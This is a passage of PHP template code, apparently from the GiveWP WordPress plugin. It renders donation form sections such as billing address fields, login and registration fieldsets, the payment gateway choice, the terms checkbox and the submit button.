		// Get the country list that does not require city.
		$city_required = ! array_key_exists( $selected_country, give_city_not_required_country_list() );

		?>
		<p id="give-card-country-wrap" class="form-row form-row-wide">
			<label for="billing_country" class="give-label">
				<?php esc_html_e( 'Country', 'give' ); ?>
				<?php if ( give_field_is_required( 'billing_country', $form_id ) ) : ?>
					<span class="give-required-indicator">*</span>
				<?php endif; ?>
				<span class="give-tooltip give-icon give-icon-question"
					  data-tooltip="<?php esc_attr_e( 'The country for your billing address.', 'give' ); ?>"></span>
			</label>

			<select
				name="billing_country"
				autocomplete="country"
				id="billing_country"
				class="billing-country billing_country give-select<?php echo( give_field_is_required( 'billing_country', $form_id ) ? ' required' : '' ); ?>"
				<?php echo( give_field_is_required( 'billing_country', $form_id ) ? ' required aria-required="true" ' : '' ); ?>
			>
				<?php
				foreach ( $countries as $country_code => $country ) {
					echo '<option value="' . esc_attr( $country_code ) . '"' . selected( $country_code, $selected_country, false ) . '>' . $country . '</option>';
				}
				?>
			</select>
		</p>

		<p id="give-card-address-wrap" class="form-row form-row-wide">
			<label for="card_address" class="give-label">
				<?php _e( 'Address 1', 'give' ); ?>
				<?php
				if ( give_field_is_required( 'card_address', $form_id ) ) :
					?>
					<span class="give-required-indicator">*</span>
				<?php endif; ?>
				<?php echo Give()->tooltips->render_help( __( 'The primary billing address for your credit card.', 'give' ) ); ?>
			</label>

			<input
				type="text"
				id="card_address"
				name="card_address"
				autocomplete="address-line1"
				class="card-address give-input<?php echo( give_field_is_required( 'card_address', $form_id ) ? ' required' : '' ); ?>"
				placeholder="<?php _e( 'Address line 1', 'give' ); ?>"
				value="<?php echo isset( $give_user_info['card_address'] ) ? $give_user_info['card_address'] : ''; ?>"
				<?php echo( give_field_is_required( 'card_address', $form_id ) ? '  required aria-required="true" ' : '' ); ?>
			/>
		</p>

		<p id="give-card-address-2-wrap" class="form-row form-row-wide">
			<label for="card_address_2" class="give-label">
				<?php _e( 'Address 2', 'give' ); ?>
				<?php if ( give_field_is_required( 'card_address_2', $form_id ) ) : ?>
					<span class="give-required-indicator">*</span>
				<?php endif; ?>
				<?php echo Give()->tooltips->render_help( __( '(optional) The suite, apartment number, post office box (etc) associated with your billing address.', 'give' ) ); ?>
			</label>

			<input
				type="text"
				id="card_address_2"
				name="card_address_2"
				autocomplete="address-line2"
				class="card-address-2 give-input<?php echo( give_field_is_required( 'card_address_2', $form_id ) ? ' required' : '' ); ?>"
				placeholder="<?php _e( 'Address line 2', 'give' ); ?>"
				value="<?php echo isset( $give_user_info['card_address_2'] ) ? $give_user_info['card_address_2'] : ''; ?>"
				<?php echo( give_field_is_required( 'card_address_2', $form_id ) ? ' required aria-required="true" ' : '' ); ?>
			/>
		</p>

		<p id="give-card-city-wrap" class="form-row form-row-wide">
			<label for="card_city" class="give-label">
				<?php _e( 'City', 'give' ); ?>
				<?php if ( give_field_is_required( 'card_city', $form_id ) ) : ?>
					<span class="give-required-indicator <?php echo( $city_required ? '' : 'give-hidden' ); ?>">*</span>
				<?php endif; ?>
				<?php echo Give()->tooltips->render_help( __( 'The city for your billing address.', 'give' ) ); ?>
			</label>
			<input
				type="text"
				id="card_city"
				name="card_city"
				autocomplete="address-level2"
				class="card-city give-input<?php echo( give_field_is_required( 'card_city', $form_id ) ? ' required' : '' ); ?>"
				placeholder="<?php _e( 'City', 'give' ); ?>"
				value="<?php echo( isset( $give_user_info['card_city'] ) ? $give_user_info['card_city'] : '' ); ?>"
				<?php echo( give_field_is_required( 'card_city', $form_id ) && $city_required ? ' required aria-required="true" ' : '' ); ?>
			/>
		</p>

		<?php
		/**
		 * State field logic.
		 */
		$state_label  = __( 'State', 'give' );
		$states_label = give_get_states_label();
		// Check if $country code exists in the array key for states label.
		if ( array_key_exists( $selected_country, $states_label ) ) {
			$state_label = $states_label[ $selected_country ];
		}
		$states = give_get_states( $selected_country );
		// Get the country list that do not have any states.
		$no_states_country = give_no_states_country_list();
		// Get the country list that does not require states.
		$states_not_required_country_list = give_states_not_required_country_list();
		// Used to determine if state is required.
		$require_state = ! array_key_exists( $selected_country, $no_states_country ) && give_field_is_required( 'card_state', $form_id );
		// Used to determine is state input should be marked as required.
		$validate_state = ! array_key_exists( $selected_country, $states_not_required_country_list ) && give_field_is_required( 'card_state', $form_id );
		// Check if post code is required
		$postcode_required = $selected_country
			? ! array_key_exists( $selected_country, give_get_country_list_without_postcodes() ) && give_field_is_required( 'card_zip', $form_id )
			: give_field_is_required( 'card_zip', $form_id );
		?>
		<p id="give-card-state-wrap"
		   class="form-row form-row-first form-row-responsive <?php echo ( ! empty( $selected_country ) && ! $require_state ) ? 'give-hidden' : ''; ?> ">
			<label for="card_state" class="give-label">
				<span class="state-label-text"><?php echo $state_label; ?></span>
				<span
					class="give-required-indicator <?php echo $validate_state ? '' : 'give-hidden'; ?> ">*</span>
				<span class="give-tooltip give-icon give-icon-question"
					  data-tooltip="<?php esc_attr_e( 'The state, province, or county for your billing address.', 'give' ); ?>"></span>
			</label>
			<?php

			if ( ! empty( $states ) ) :
				?>
				<select
					name="card_state"
					autocomplete="address-level1"
					id="card_state"
					class="card_state give-select<?php echo $validate_state ? ' required' : ''; ?>"
					<?php echo $validate_state ? ' required aria-required="true" ' : ''; ?>>
					<?php
					foreach ( $states as $state_code => $state ) {
						echo '<option value="' . $state_code . '"' . selected( $state_code, $selected_state, false ) . '>' . $state . '</option>';
					}
					?>
				</select>
			<?php else : ?>
				<input type="text" size="6" name="card_state" id="card_state" class="card_state give-input"
					   placeholder="<?php echo $state_label; ?>" value="<?php echo $selected_state; ?>"
					<?php echo $validate_state ? ' required aria-required="true" ' : ''; ?>
				/>
			<?php endif; ?>
		</p>

		<p id="give-card-zip-wrap" class="form-row <?php echo $require_state ? 'form-row-last' : ''; ?> form-row-responsive">
			<label for="card_zip" class="give-label">
				<?php _e( 'Zip / Postal Code', 'give' ); ?>
				<span class="give-required-indicator<?php echo ( $postcode_required ? '' : ' give-hidden' ); ?>">*</span>
				<?php echo Give()->tooltips->render_help( __( 'The zip or postal code for your billing address.', 'give' ) ); ?>
			</label>

			<input
				type="text"
				size="4"
				id="card_zip"
				name="card_zip"
				autocomplete="postal-code"
				class="card-zip give-input<?php echo( $postcode_required ? ' required' : '' ); ?>"
				placeholder="<?php _e( 'Zip / Postal Code', 'give' ); ?>"
				value="<?php echo isset( $give_user_info['card_zip'] ) ? $give_user_info['card_zip'] : ''; ?>"
				<?php echo( $postcode_required ? ' required aria-required="true" ' : '' ); ?>
			/>
		</p>
		<?php
		/**
		 * Fires while rendering credit card billing form, after address fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_cc_billing_bottom' );
		?>
	</fieldset>
	<?php

    if ($return) {
        return ob_get_clean();
    }

	echo ob_get_clean();
}

add_action( 'give_after_cc_fields', 'give_default_cc_address_fields' );


/**
 * Renders the user registration fields. If the user is logged in, a login form is displayed other a registration form
 * is provided for the user to create an account.
 *
 * @param int $form_id The form ID.
 *
 * @return string
 * @since  1.0
 */
function give_get_register_fields( $form_id ) {

	global $user_ID;

	if ( is_user_logged_in() ) {
		$user_data = get_userdata( $user_ID );
	}

	$show_register_form = give_show_login_register_option( $form_id );

	ob_start();
	?>
	<fieldset id="give-register-fields-<?php echo $form_id; ?>">

		<?php
		/**
		 * Fires while rendering user registration form, before registration fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_register_fields_before', $form_id );
		?>

		<fieldset id="give-register-account-fields-<?php echo $form_id; ?>">
			<?php
			/**
			 * Fires while rendering user registration form, before account fields.
			 *
			 * @param int $form_id The form ID.
			 *
			 * @since 1.0
			 */
			do_action( 'give_register_account_fields_before', $form_id );

			$class = ( 'registration' === $show_register_form ) ? 'form-row-wide' : 'form-row-first';
			// Add attributes to checkbox, if Guest Checkout is disabled.
			$is_guest_checkout = give_is_setting_enabled( give_get_meta( $form_id, '_give_logged_in_only', true ) );
			?>

			<?php
			/**
			 * If Guest Checkout is enabled, display label and checkbox - unchecked.
			 * If Guest Checkout it disabled, display hidden checkbox - checked.
			 * @since 2.9.6
			 * @since 2.9.7 Create account checkbox is hidden when guest registration is disabled.
			 */
			?>
			<div id="give-create-account-wrap-<?php echo $form_id; ?>" class="form-row <?php echo esc_attr( $class ); ?> form-row-responsive">
				<?php
				$is_guest_checkout = give_get_meta( $form_id, '_give_logged_in_only', true );
				if ( give_is_setting_enabled( $is_guest_checkout ) ) {
					?>
				<label for="give-create-account-<?php echo $form_id; ?>">
				<input type="checkbox" id="give-create-account-<?php echo $form_id; ?>" name="give_create_account" class="give-input" value="on" />
					<?php
					_e( 'Create an account', 'give' );
					echo Give()->tooltips->render_help( __( 'Create an account on the site to see and manage donation history.', 'give' ) );
					?>
				</label>
				<?php } else { ?>
				<input type="hidden" id="give-create-account-<?php echo $form_id; ?>" name="give_create_account" class="give-input" value="on" checked />
				<?php } ?>
				<?php
					echo str_replace(
						'/>',
						'data-time="' . time() . '" data-nonce-life="' . give_get_nonce_life() . '"/>',
						give_get_nonce_field( "give_form_create_user_nonce_{$form_id}", 'give-form-user-register-hash', false )
					);
				?>
			</div>

			<?php if ( 'both' === $show_register_form ) { ?>
				<div class="give-login-account-wrap form-row form-row-last form-row-responsive">
					<p class="give-login-message"><?php esc_html_e( 'Already have an account?', 'give' ); ?>&nbsp;
						<a href="<?php echo esc_url( add_query_arg( 'login', 1 ) ); ?>" class="give-checkout-login"
						   data-action="give_checkout_login"><?php esc_html_e( 'Login', 'give' ); ?></a>
					</p>
					<p class="give-loading-text">
						<span class="give-loading-animation"></span>
					</p>
				</div>
			<?php } ?>

			<?php
			/**
			 * Fires while rendering user registration form, after account fields.
			 *
			 * @param int $form_id The form ID.
			 *
			 * @since 1.0
			 */
			do_action( 'give_register_account_fields_after', $form_id );
			?>
		</fieldset>

		<?php
		/**
		 * Fires while rendering user registration form, after registration fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_register_fields_after', $form_id );
		?>

		<input type="hidden" name="give-purchase-var" value="needs-to-register"/>

		<?php
		/**
		 * Fire after register or login form render
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_user_info', $form_id );
		?>

	</fieldset>
	<?php
	echo ob_get_clean();
}

add_action( 'give_donation_form_register_fields', 'give_get_register_fields' );

/**
 * Gets the login fields for the login form on the checkout. This function hooks
 * on the give_donation_form_login_fields to display the login form if a user already
 * had an account.
 *
 * @param int $form_id The form ID.
 *
 * @return string
 * @since  1.0
 */
function give_get_login_fields( $form_id ) {

	$form_id            = isset( $_POST['form_id'] ) ? give_clean( $_POST['form_id'] ) : $form_id;
	$show_register_form = give_show_login_register_option( $form_id );

	ob_start();
	?>
	<fieldset id="give-login-fields-<?php echo esc_attr( $form_id ); ?>">
		<legend>
			<?php
			echo apply_filters( 'give_account_login_fieldset_heading', __( 'Log In to Your Account', 'give' ) );
			if ( ! give_logged_in_only( $form_id ) ) {
				echo ' <span class="sub-text">' . __( '(optional)', 'give' ) . '</span>';
			}
			?>
		</legend>
		<?php if ( $show_register_form === 'both' ) { ?>
			<p class="give-new-account-link">
				<?php _e( 'Don\'t have an account?', 'give' ); ?>&nbsp;
				<a href="<?php echo esc_url( remove_query_arg( 'login' ) ); ?>" class="give-checkout-register-cancel"
				   data-action="give_checkout_register">
					<?php
					if ( give_logged_in_only( $form_id ) ) {
						_e( 'Register as a part of your donation &raquo;', 'give' );
					} else {
						_e( 'Register or donate as a guest &raquo;', 'give' );
					}
					?>
				</a>
			</p>
			<p class="give-loading-text">
				<span class="give-loading-animation"></span>
			</p>
		<?php } ?>
		<?php
		/**
		 * Fires while rendering checkout login form, before the fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_donation_form_login_fields_before', $form_id );
		?>
		<div class="give-user-login-fields-container">
			<div id="give-user-login-wrap-<?php echo esc_attr( $form_id ); ?>" class="form-row form-row-first form-row-responsive">
				<label class="give-label" for="give-user-login-<?php echo esc_attr( $form_id ); ?>">
					<?php _e( 'Username or Email Address', 'give' ); ?>
					<?php if ( give_logged_in_only( $form_id ) ) { ?>
						<span class="give-required-indicator">*</span>
					<?php } ?>
				</label>

				<input class="give-input<?php echo ( give_logged_in_only( $form_id ) ) ? ' required' : ''; ?>"
					   type="text"
					   name="give_user_login" id="give-user-login-<?php echo esc_attr( $form_id ); ?>" value=""
					   placeholder="<?php _e( 'Your username or email', 'give' ); ?>"<?php echo ( give_logged_in_only( $form_id ) ) ? ' required aria-required="true" ' : ''; ?>/>
			</div>

			<div id="give-user-pass-wrap-<?php echo esc_attr( $form_id ); ?>"
				 class="give_login_password form-row form-row-last form-row-responsive">
				<label class="give-label" for="give-user-pass-<?php echo esc_attr( $form_id ); ?>">
					<?php _e( 'Password', 'give' ); ?>
					<?php if ( give_logged_in_only( $form_id ) ) { ?>
						<span class="give-required-indicator">*</span>
					<?php } ?>
				</label>
				<input class="give-input<?php echo ( give_logged_in_only( $form_id ) ) ? ' required' : ''; ?>"
					   type="password" name="give_user_pass" id="give-user-pass-<?php echo esc_attr( $form_id ); ?>"
					   placeholder="<?php _e( 'Your password', 'give' ); ?>"<?php echo ( give_logged_in_only( $form_id ) ) ? ' required aria-required="true" ' : ''; ?>/>
				<?php if ( give_logged_in_only( $form_id ) ) : ?>
					<input type="hidden" name="give-purchase-var" value="needs-to-login"/>
				<?php endif; ?>
			</div>
		</div>

		<div id="give-user-login-submit-<?php echo esc_attr( $form_id ); ?>" class="give-clearfix">
			<input type="submit" class="give-submit give-btn button" name="give_login_submit"
				   value="<?php _e( 'Login', 'give' ); ?>"/>
			<?php if ( $show_register_form !== 'login' ) { ?>
				<input type="button" data-action="give_cancel_login"
					   class="give-cancel-login give-checkout-register-cancel give-btn button" name="give_login_cancel"
					   value="<?php _e( 'Cancel', 'give' ); ?>"/>
			<?php } ?>
			<span class="give-loading-animation"></span>
			<div id="give-forgot-password-wrap-<?php echo esc_attr( $form_id ); ?>" class="give_login_forgot_password">
				<span class="give-forgot-password ">
					<a href="<?php echo wp_lostpassword_url(); ?>" target="_blank"><?php _e( 'Reset Password', 'give' ); ?></a>
				</span>
			</div>
		</div>
		<?php
		/**
		 * Fires while rendering checkout login form, after the fields.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.0
		 */
		do_action( 'give_donation_form_login_fields_after', $form_id );
		?>
	</fieldset><!--end #give-login-fields-->
	<?php
	echo ob_get_clean();
}

add_action( 'give_donation_form_login_fields', 'give_get_login_fields', 10, 1 );

/**
 * Payment Mode Select.
 *
 * Renders the payment mode form by getting all the enabled payment gateways and
 * outputting them as radio buttons for the user to choose the payment gateway. If
 * a default payment gateway has been chosen from the Give Settings, it will be
 * automatically selected.
 *
 * @param int $form_id The form ID.
 *
 * @return void
 * @since  1.0
 */
function give_payment_mode_select( $form_id, $args ) {
    $gateways = give_get_enabled_payment_gateways($form_id, 2);
	$id_prefix = ! empty( $args['id_prefix'] ) ? $args['id_prefix'] : '';

	/**
	 * Fires while selecting payment gateways, before the fields.
	 *
	 * @since 1.7
	 *
	 * @param int $form_id The form ID.
	 *
	 */
	do_action( 'give_payment_mode_top', $form_id );
	?>

	<fieldset id="give-payment-mode-select"<?php echo count( $gateways ) <= 1 ? ' style="display: none;"' : ''; ?>>
		<?php
		/**
		 * Fires while selecting payment gateways, before the wrap div.
		 *
		 * @since 1.7
		 *
		 * @param int $form_id The form ID.
		 *
		 */
		do_action( 'give_payment_mode_before_gateways_wrap' );
		?>
		<legend
			class="give-payment-mode-label"><?php echo apply_filters( 'give_checkout_payment_method_text', esc_html__( 'Select Payment Method', 'give' ) ); ?>
			<span class="give-loading-text"><span
					class="give-loading-animation"></span>
			</span>
		</legend>

		<div id="give-payment-mode-wrap">
			<?php
			/**
			 * Fires while selecting payment gateways, before the gateways list.
			 *
			 * @since 1.7
			 */
			do_action( 'give_payment_mode_before_gateways' )
			?>
			<ul id="give-gateway-radio-list">
				<?php
				/**
				 * Loop through the active payment gateways.
				 */
				$selected_gateway = give_get_chosen_gateway( $form_id );

				foreach ( $gateways as $gateway_id => $gateway ) :
					// Determine the default gateway.
					$checked                   = checked( $gateway_id, $selected_gateway, false );
					$checked_class             = $checked ? ' class="give-gateway-option-selected"' : '';
					$is_payment_method_visible = isset( $gateway['is_visible'] ) ? $gateway['is_visible'] : true;

					if ( true === $is_payment_method_visible ) {
						?>
						<li<?php echo $checked_class; ?>>
							<input type="radio" name="payment-mode" class="give-gateway"
								   id="give-gateway-<?php echo esc_attr( $gateway_id . '-' . $id_prefix ); ?>"
								   value="<?php echo esc_attr( $gateway_id ); ?>"<?php echo $checked; ?>>
							<label for="give-gateway-<?php echo esc_attr( $gateway_id . '-' . $id_prefix ); ?>"
								   class="give-gateway-option"
								   id="give-gateway-option-<?php echo esc_attr( $gateway_id ); ?>"> <?php echo esc_html( $gateway['checkout_label'] ); ?></label>
						</li>
						<?php
					}
				endforeach;
				?>
			</ul>
			<?php
			/**
			 * Fires while selecting payment gateways, before the gateways list.
			 *
			 * @since 1.7
			 */
			do_action( 'give_payment_mode_after_gateways' );
			?>
		</div>
		<?php
		/**
		 * Fires while selecting payment gateways, after the wrap div.
		 *
		 * @param int $form_id The form ID.
		 *
		 * @since 1.7
		 */
		do_action( 'give_payment_mode_after_gateways_wrap' );
		?>
	</fieldset>

	<?php
	/**
	 * Fires while selecting payment gateways, after the fields.
	 *
	 * @param int $form_id The form ID.
	 *
	 * @since 1.7
	 */
	do_action( 'give_payment_mode_bottom', $form_id );
	?>

	<div id="give_purchase_form_wrap">

		<?php
		/**
		 * Fire after payment field render.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form', $form_id, $args );
		?>

	</div>

	<?php
	/**
	 * Fire after donation form render.
	 *
	 * @since 1.7
	 */
	do_action( 'give_donation_form_wrap_bottom', $form_id );
}

add_action( 'give_payment_mode_select', 'give_payment_mode_select', 10, 2 );

/**
 * Renders the Checkout Agree to Terms, this displays a checkbox for users to
 * agree the T&Cs set in the Give Settings. This is only displayed if T&Cs are
 * set in the Give Settings.
 *
 * @param int $form_id The form ID.
 *
 * @return bool
 * @since  1.0
 */
function give_terms_agreement( $form_id ) {
	$form_option = give_get_meta( $form_id, '_give_terms_option', true );

	// Bailout if per form and global term and conditions is not setup.
	if (
		give_is_setting_enabled( $form_option, 'global' )
		&& give_is_setting_enabled( give_get_option( 'terms' ) )
	) {
		$label         = give_get_option( 'agree_to_terms_label', esc_html__( 'Agree to Terms?', 'give' ) );
		$terms         = $terms = give_get_option( 'agreement_text', '' );
		$edit_term_url = admin_url( 'edit.php?post_type=give_forms&page=give-settings&tab=display&section=term-and-conditions' );

	} elseif ( give_is_setting_enabled( $form_option ) ) {
		$label         = ( $label = give_get_meta( $form_id, '_give_agree_label', true ) ) ? stripslashes( $label ) : esc_html__( 'Agree to Terms?', 'give' );
		$terms         = give_get_meta( $form_id, '_give_agree_text', true );
		$edit_term_url = admin_url( 'post.php?post=' . $form_id . '&action=edit#form_terms_options' );

	} else {
		return false;
	}

	// Bailout: Check if term and conditions text is empty or not.
	if ( empty( $terms ) ) {
		if ( is_user_logged_in() && current_user_can( 'edit_give_forms' ) ) {
			echo sprintf( __( 'Please enter valid terms and conditions in <a href="%s">this form\'s settings</a>.', 'give' ), $edit_term_url );
		}

		return false;
	}

	/**
	 * Filter the form term content
	 *
	 * @since  2.1.5
	 */
	$terms = apply_filters( 'give_the_term_content', wpautop( do_shortcode( $terms ) ), $terms, $form_id );

	?>
	<fieldset id="give_terms_agreement">
		<legend><?php echo apply_filters( 'give_terms_agreement_text', esc_html__( 'Terms', 'give' ) ); ?></legend>
		<div id="give_terms" class="give_terms-<?php echo $form_id; ?>" style="display:none;">
			<?php
			/**
			 * Fires while rendering terms of agreement, before the fields.
			 *
			 * @since 1.0
			 */
			do_action( 'give_before_terms' );

			echo $terms;
			/**
			 * Fires while rendering terms of agreement, after the fields.
			 *
			 * @since 1.0
			 */
			do_action( 'give_after_terms' );
			?>
		</div>
		<div id="give_show_terms">
			<a href="#" class="give_terms_links give_terms_links-<?php echo $form_id; ?>" role="button"
			   aria-controls="give_terms"><?php esc_html_e( 'Show Terms', 'give' ); ?></a>
			<a href="#" class="give_terms_links give_terms_links-<?php echo $form_id; ?>" role="button"
			   aria-controls="give_terms" style="display:none;"><?php esc_html_e( 'Hide Terms', 'give' ); ?></a>
		</div>

		<input name="give_agree_to_terms" class="required" type="checkbox"
			   id="give_agree_to_terms-<?php echo $form_id; ?>" value="1" required aria-required="true"/>
		<label for="give_agree_to_terms-<?php echo $form_id; ?>"><?php echo $label; ?></label>

	</fieldset>
	<?php
}

add_action( 'give_donation_form_after_cc_form', 'give_terms_agreement', 8888, 1 );

/**
 * Checkout Final Total.
 *
 * Shows the final donation total at the bottom of the checkout page.
 *
 * @param int $form_id The form ID.
 *
 * @return void
 * @since  1.0
 */
function give_checkout_final_total( $form_id ) {

	$total = isset( $_POST['give_total'] ) ?
		apply_filters( 'give_donation_total', give_maybe_sanitize_amount( $_POST['give_total'], [ 'currency' => give_get_currency( $form_id ) ] ) ) :
		give_get_default_form_amount( $form_id );

	// Only proceed if give_total available.
	if ( empty( $total ) ) {
		return;
	}
	?>
	<p id="give-final-total-wrap" class="form-wrap ">
		<?php
		/**
		 * Fires before the donation total label
		 *
		 * @since 2.0.5
		 */
		do_action( 'give_donation_final_total_label_before', $form_id );
		?>
		<span class="give-donation-total-label">
			<?php echo apply_filters( 'give_donation_total_label', esc_html__( 'Donation Total:', 'give' ) ); ?>
		</span>
		<span class="give-final-total-amount"
			  data-total="<?php echo give_format_amount( $total, [ 'sanitize' => false ] ); ?>">
			<?php
			echo give_currency_filter(
				give_format_amount(
					$total,
					[
						'sanitize' => false,
						'currency' => give_get_currency( $form_id ),
					]
				),
				[ 'currency_code' => give_get_currency( $form_id ) ]
			);
			?>
		</span>
		<?php
		/**
		 * Fires after the donation final total label
		 *
		 * @since 2.0.5
		 */
		do_action( 'give_donation_final_total_label_after', $form_id );
		?>
	</p>
	<?php
}

add_action( 'give_donation_form_before_submit', 'give_checkout_final_total', 999 );

/**
 * Renders the Checkout Submit section.
 *
 * @param int   $form_id The donation form ID.
 * @param array $args    List of arguments.
 *
 * @return void
 * @since  1.0
 */
function give_checkout_submit( $form_id, $args ) {
	?>
	<fieldset id="give_purchase_submit" class="give-donation-submit">
		<?php
		/**
		 * Fire before donation form submit.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_before_submit', $form_id, $args );

		give_checkout_hidden_fields( $form_id, $args );

		echo give_get_donation_form_submit_button( $form_id, $args );

		/**
		 * Fire after donation form submit.
		 *
		 * @since 1.7
		 */
		do_action( 'give_donation_form_after_submit', $form_id, $args );
		?>
	</fieldset>
	<?php
}

add_action( 'give_donation_form_after_cc_form', 'give_checkout_submit', 9999, 2 );

/**
 * Give Donation form submit button.
 *
 * @param int   $form_id The form ID.
 * @param array $args
 *
 * @return string
 * @since  1.8.8
 */
function give_get_donation_form_submit_button( $form_id, $args = [] ) {

	$display_label_field = give_get_meta( $form_id, '_give_checkout_label', true );
	$display_label_field = apply_filters( 'give_donation_form_submit_button_text', $display_label_field, $form_id, $args );
	$display_label       = ( ! empty( $display_label_field ) ? $display_label_field : esc_html__( 'Donate Now', 'give' ) );
	ob_start();
	?>
	<div class="give-submit-button-wrap give-clearfix">
		<input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase"
			   value="<?php echo $display_label; ?>" data-before-validation-label="<?php echo $display_label; ?>"/>
		<span class="give-loading-animation"></span>
	</div>
	<?php
	return apply_filters( 'give_donation_form_submit_button', ob_get_clean(), $form_id, $args );
}

/**
 * Show Give Goals.
 *
 * @param int   $form_id The form ID.
 * @param array $args    An array of form arguments.
 *
 * @return mixed
 * @since        1.6   Add template for Give Goals Shortcode.
 *               More info is on https://github.com/impress-org/give/issues/411
 *
 * @since        1.0
 */
function give_show_goal_progress( $form_id, $args = [] ) {

	ob_start();
	give_get_template(
		'shortcode-goal',
		[
			'form_id' => $form_id,
			'args'    => $args,
		]
	);

	/**
	 * Filter progress bar output
	 *
	 * @since 2.0
	 */
	echo apply_filters( 'give_goal_output', ob_get_clean(), $form_id, $args );

	return true;
}

add_action( 'give_pre_form', 'give_show_goal_progress', 10, 2 );

/**
 * Show Give Totals Progress.
 *
 * @param int $total      Total amount based on shortcode parameter.
 * @param int $total_goal Total Goal amount passed by Admin.
 *
 * @return mixed
 * @since  2.1
 */
function give_show_goal_totals_progress( $total, $total_goal ) {

	// Bail out if total goal is set as an array.
	if ( isset( $total_goal ) && is_array( $total_goal ) ) {
		return false;
	}

	ob_start();
	give_get_template(
		'shortcode-totals-progress',
		[
			'total'      => $total,
			'total_goal' => $total_goal,
		]
	);

	echo apply_filters( 'give_total_progress_output', ob_get_clean() );

	return true;
}

add_action( 'give_pre_form', 'give_show_goal_totals_progress', 10, 2 );

/**
 * Get form content position.
 *
 * @param  $form_id
 * @param  $args
 *
 * @return mixed|string
 * @since  1.8
 */
function give_get_form_content_placement( $form_id, $args ) {
	$show_content = '';

	if ( isset( $args['show_content'] ) && ! empty( $args['show_content'] ) ) {
		// Content positions.
		$content_placement = [
			'above' => 'give_pre_form',
			'below' => 'give_post_form',
		];

		// Check if content position already decoded.
		if ( in_array( $args['show_content'], $content_placement ) ) {
			return $args['show_content'];
		}

		$show_content = ( 'none' !== $args['show_content'] ? $content_placement[ $args['show_content'] ] : '' );

	} elseif ( give_is_setting_enabled( give_get_meta( $form_id, '_give_display_content', true ) ) ) {
		$show_content = give_get_meta( $form_id, '_give_content_placement', true );

	}

	return $show_content;
}

/**
 * Adds Actions to Render Form Content.
 *
 * @param int   $form_id The form ID.
 * @param array $args    An array of form arguments.
 *
 * @return void|bool
 * @since  1.0
 */
function give_form_content( $form_id, $args ) {

	$show_content = give_get_form_content_placement( $form_id, $args );

	// Bailout.
	if ( empty( $show_content ) ) {
		return false;
	}

	// Add action according to value.
	add_action( $show_content, 'give_form_display_content', 10, 2 );
}

add_action( 'give_pre_form_output', 'give_form_content', 10, 2 );

/**
 * Renders Post Form Content.
 *
 * Displays content for Give forms; fired by action from give_form_content.
 *
 * @param int   $form_id The form ID.
 * @param array $args    An array of form arguments.
 *
 * @return void
 * @since  1.0
 */
function give_form_display_content( $form_id, $args ) {
	$content      = give_get_meta( $form_id, '_give_form_content', true );
	$show_content = give_get_form_content_placement( $form_id, $args );

	if ( give_is_setting_enabled( give_get_option( 'the_content_filter' ) ) ) {

		// Do not restore wpautop if we are still parsing blocks.
		$priority = has_filter( 'the_content', '_restore_wpautop_hook' );
		if ( false !== $priority && doing_filter( 'the_content' ) ) {
			remove_filter( 'the_content', '_restore_wpautop_hook', $priority );
		}

		$content = apply_filters( 'the_content', $content );

		// Restore wpautop after done with blocks parsing.
		if ( $priority ) {
			// Run wpautop manually if parsing block
			$content = wpautop( $content );

			add_filter( 'the_content', '_restore_wpautop_hook', $priority );
		}
	} else {
		$content = wpautop( do_shortcode( $content ) );
	}

	$output = sprintf(
		'<div id="give-form-content-%s" class="give-form-content-wrap %s-content">%s</div>',
		$form_id,
		$show_content,
		$content
	);

	/**
	 * Filter form content html
	 *
	 * @param string $output
	 * @param int    $form_id
	 * @param array  $args
	 *
	 * @since 1.0
	 */
	echo apply_filters( 'give_form_content_output', $output, $form_id, $args );

	// remove action to prevent content output on addition forms on page.
	// @see: https://github.com/impress-org/give/issues/634.
	remove_action( $show_content, 'give_form_display_content' );
}

/**
 * Renders the hidden Checkout fields.
 *
 * @param int   $form_id The form ID.
 * @param array $args Shortcode args.
 *
 * @return void
 * @since 1.0
 */
function give_checkout_hidden_fields( $form_id, $args = [] ) {

	/**
	 * Fires while rendering hidden checkout fields, before the fields.
	 *
	 * @param int $form_id The form ID.
	 *
	 * @since 1.0
	 */
	do_action( 'give_hidden_fields_before', $form_id, $args );

	if ( is_user_logged_in() ) {
		?>
		<input type="hidden" name="give-user-id" value="<?php echo get_current_user_id(); ?>"/>
	<?php } ?>
	<input type="hidden" name="give_action" value="purchase"/>
	<input type="hidden" name="give-gateway" value="<?php echo give_get_chosen_gateway( $form_id ); ?>"/>
	<?php
	/**
	 * Fires while rendering hidden checkout fields, after the fields.
	 *
	 * @param int $form_id The form ID.
	 *
	 * @since 1.0
	 */
	do_action( 'give_hidden_fields_after', $form_id, $args );

}

/**
 * Filter Success Page Content.
 *
 * Applies filters to the success page content.
 *
 * @param string $content Content before filters.
 *
 * @return string $content Filtered content.
 * @since 1.0
 */
function give_filter_success_page_content( $content ) {

	$give_options = give_get_settings();

	if ( isset( $give_options['success_page'] ) && isset( $_GET['payment-confirmation'] ) && is_page( $give_options['success_page'] ) ) {
		if ( has_filter( 'give_payment_confirm_' . $_GET['payment-confirmation'] ) ) {
			$content = apply_filters( 'give_payment_confirm_' . $_GET['payment-confirmation'], $content );
		}
	}

	return $content;
}

add_filter( 'the_content', 'give_filter_success_page_content' );

/**
 * Test Mode Frontend Warning.
 *
 * Displays a notice on the frontend for donation forms.
 *
 * @since 1.1
 */
function give_test_mode_frontend_warning() {

	if ( give_is_test_mode() ) {
		echo '<div class="give_error give_warning" id="give_error_test_mode"><p><strong>' . esc_html__( 'Notice:', 'give' ) . '</strong> ' . esc_html__( 'Test mode is enabled. While in test mode no live donations are processed.', 'give' ) . '</p></div>';
	}
}

add_action( 'give_pre_form', 'give_test_mode_frontend_warning', 10 );

/**
 * Members-only Form.
 *
 * If "Disable Guest Donations" and "Display Register / Login" is set to none.
 *
 * @param string $final_output
 * @param array  $args
 *
 * @return string
 * @since  1.4.1
 */
function give_members_only_form( $final_output, $args ) {

